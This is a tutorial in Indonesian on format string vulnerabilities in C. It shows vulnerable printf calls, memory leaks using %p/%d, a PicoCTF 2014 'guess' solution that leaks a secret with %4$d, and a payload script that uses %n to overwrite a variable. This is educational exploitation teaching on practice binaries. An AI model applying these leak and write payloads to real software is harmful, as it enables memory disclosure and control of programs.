Format String Attack
Format String Attack
Format String Attack adalah vulnerability yang memanfaatkan format specifiers yang dimana dapat dimanfaatkan untuk melakukan read/write pada memory. Fungsi printf family seperti (printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf) tergolong kedalam fungsi yang vulnerable Format String Attack.
Format String Attack terjadi karena inputan user langsung di render oleh fungsi yang menggunakan prinsip Format Specifier (seperti printf family) sehingga nilai-nilai yang berada pada memory dapat diread/write.
Format Specifier
Format Specifier | Output |
---|---|
%d, %i | Decimal |
%u | Unsigned Decimal |
%x | Hex Decimal |
%c | Character |
%p | Pointer |
%n | Writes the number of characters into a pointer |
Example :
#include <stdio.h>
int main(void){
int x = 1337;
char name[] = "Aiden Pearce";
printf("Decimal num : %d\n", x);
printf("Hex num : %x\n", x);
printf("Name : %s\n", name);
printf("Address of name : %p\n", name);
printf("Address of x : %p\n", &x);
return 0;
}
$ gcc format.c -o format
$ ./format
Decimal num : 1337
Hex num : 539
Name : Aiden Pearce
Address of name : 0x7ffdb0eaca90
Address of x : 0x7ffdb0eaca8c
%[parameter][flags][width][.precision][length]specifier
$ ./format_1
Output : 2018 1337
Read value from memory
Untuk melakukan read
data dari memory sebenarnya cukup mudah, yaitu hanya dengan menggunakan salah satu format specifier
yang disebutkan sebelumnya. Apabila data yang ingin kita read
output nya dalam bentuk Hex decimal
maka gunakan format specifier %x
, apabila ingin output nya berupa Decimal
maka gunakan %d
dan %p
untuk output dalam bentuk address memory.
Contoh program yang vulnerability
#include <stdio.h>
int main(int argc, char *argv[]){
printf(argv[1]);
return 0;
}
$ ./read_memory_1 "%p %p %p %p %p %p"
(nil) 0xf7db4637 0x2 0xffb7b3c4 0xffb7b3d0 (nil)
nilai 0x00 atau NULL byte
akan direpresentasikan sebagai (nil)
.
Perlu diketahui, bahwa data yang di read diatas merupakan nilai-nilai berada dalam Stack Frame
(dari fungsi yang dipanggil saat ini yaitu fungsi main()
) tepat sebelum fungsi printf
dipanggil. Stack Frame
sendiri bisa dibilang adalah “area bermain” suatu fungsi, yaitu untuk menyimpan Local Variable
dan Return Address
ataupun nilai-nilai lain yang dibutuhkan oleh fungsi yang bersangkutan.
Agar lebih memahami nilai-nilai yang terleak bisa didebug menggunakan gdb
, dan agar mengetahui dengan tepat nilai-nilai yang akan terleak, saya memasang breakpoint tepat sebelum fungsi printf()
dieksekusi.
Dari keadaan Stack
diatas dapat diketahui bahwa nilai yang terleak adalah
0x0 - (Argument pertama)
0xf7e0f647 - (Argument kedua)
0x2 - (Argument ketiga)
0xffffc3f4 - (Argument keempat)
0xffffc400 - (Argument kelima)
0x0 - (Argument keenam)
Dengan menggunakan cara debugging seperti diatas, kita dapat mengetahui dengan pasti nilai yang akan terleak, sehingga tidak perlu lagi melakukan trial and error
dengan cara memasukan format specifier yang banyak untuk mengetahui nilai-nilai yang terleak.
Study Kasus : PicoCTF 2014 - Guess
Pada soal PicoCTF 2014
terdapat soal bernama guess
yang vulnerable format string attack, berikut source nya :
#include <stdio.h>
#include <stdlib.h>
char *flag = "learning_format_string_attack";
void main(){
int secret, guess;
char name[32];
long seed;
FILE *f = fopen("/dev/urandom", "rb");
fread(&secret, sizeof(int), 1, f);
fclose(f);
printf("Hello! What is your name?\n");
fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name);
printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");
printf("What is your guess?\n");
scanf("%d", &guess);
if(guess == secret){
printf("Wow! You guessed it!\n");
printf("Your flag is: %s\n", flag);
}else{
printf("Hah! I knew you wouldn't get it.\n");
}
}
Dapat diketahui bahwa program tersebut mengambil 32 bit (4 bytes) random byte dari /dev/urandom
dan menyimpan nya ke variable secret
.
FILE *f = fopen("/dev/urandom", "rb");
fread(&secret, sizeof(int), 1, f);
fclose(f);
Tentu saja kesempatan untuk menebak 32 bit (4 bytes) adalah 1 dari 2^32 (4.294.967.296) kesempatan. Tapi program tersebut vulnerable format string attack, sehingga sangat memungkinkan untuk meleak nilai dari secret
sebelum secret
akan dibandingkan dengan inputkan kita yang disimpan di variable guess
.
fgets(name, sizeof(name), stdin);
printf("Welcome to the guessing game, ");
printf(name); // here is the bug
$ ./guess
Hello! What is your name?
%d %d %d %d %d %d %d
Welcome to the guessing game, 32 -134797920 149999624 973938019 -134799360 149999624 622879781
I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
1234
Hah! I knew you wouldn't get it.
Dengan menginputkan banyak format specifier sembarangan memang akan membuat kita bisa meleak nilai yang ada di Stack
, tetapi kita tidak tahu dengan pasti yang mana yang merupakan nilai dari variable secret
. Oleh karena itu bisa dilakukan debugging menggunakan gdb
seperti cara yang sebelumnya.
Saya akan memasang 2 Breakpoint
- Setelah fungsi fread dieksekusi yang men-set nilai variable secret yaitu pada address 0x0804862f
- Tepat sebelum printf (yang vulnerable format string) dieksekusi untuk mengetahui layout stack nya
gdb-peda$ b *0x804862f
Breakpoint 1 at 0x804862f
gdb-peda$ b *0x0804867e
Breakpoint 2 at 0x804867e
Nilai variable secret
pada saat proses debugging adalah 0x5baecfd5
.
Perhatikan layout stack
sebelum printf
dieksekusi, dapat diketahui bahwa nilai variable secret
berada di argument ke-4.
Karena nilai secret
diketahui berada di posisi ke 4, berarti tinggal menggunakan format %4$d
untuk mendapatkan nilai secret
yang valid.
$ ./guess
Hello! What is your name?
%4$d
Welcome to the guessing game, 1289956455
I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
1289956455
Wow! You guessed it!
Your flag is: learning_format_string_attack
Write value into memory address
%n
Format Specifier
int x;
printf("HELLO WORLD%n", &x);
printf("x = %d", x);
$ ./write
HELLO WORLDx = 11
x
akan bernilai 11. Karena fungsi dari %n
akan menuliskan jumlah/panjang karakter Output
dari printf()
dalam contoh program diatas, string HELLO WORLD
adalah outputnya, dimana jumlah/panjang karakter nya adalah 11 karakter, lalu 11 yang marupakan jumlah karakternya akan disimpan di variable x
.
Hal seperti itu sama saja seperti x = len("HELLO WORLD")
apabila di python.
Perlu diperhatikan, fungsi dari %n
memang akan menusliskan jumlah/panjang karakter Output
tetapi itu bergantung pada dimana posisi %n
dilatakan.
int x;
printf("HELLO%n WORLD", &x);
printf("x = %d", x);
Apabila program diatas dijalankan, Outputnya adalah string HELLO WORLD
, tetapi %n
diletakan tepat setelah string HELLO
oleh karena itu nilai dari variable x
adalah 5 karena panjang string HELLO
= 5.
$ ./write
HELLO WORLDx = 5
Study Kasus : Overwrite Variable
#include <stdio.h>
#include <stdlib.h>
char secret = 'A';
int main(int argc, char **argv){
printf(argv[1]);
fflush(stdout);
if (secret == 'Z'){
puts("Good, You Modified secret variable");
}else{
puts("You Are Not 1337");
}
return 0;
}
$ ./format "%p %p %p %p %p %p %p %p"
0xfffe0504 0xfffe0510 0x80484c1 0xf7f8d3dc 0xfffe0470 (nil) 0xf7df3637 0xf7f8d000You Are Not 1337
from pwn import p32
def padding(payload):
return payload + "X" * (32-len(payload))
# nm format | grep "secret"
secret = 0x0804a024
payload = ""
payload += p32(secret)
payload += "%86c%260$n"
print padding(payload)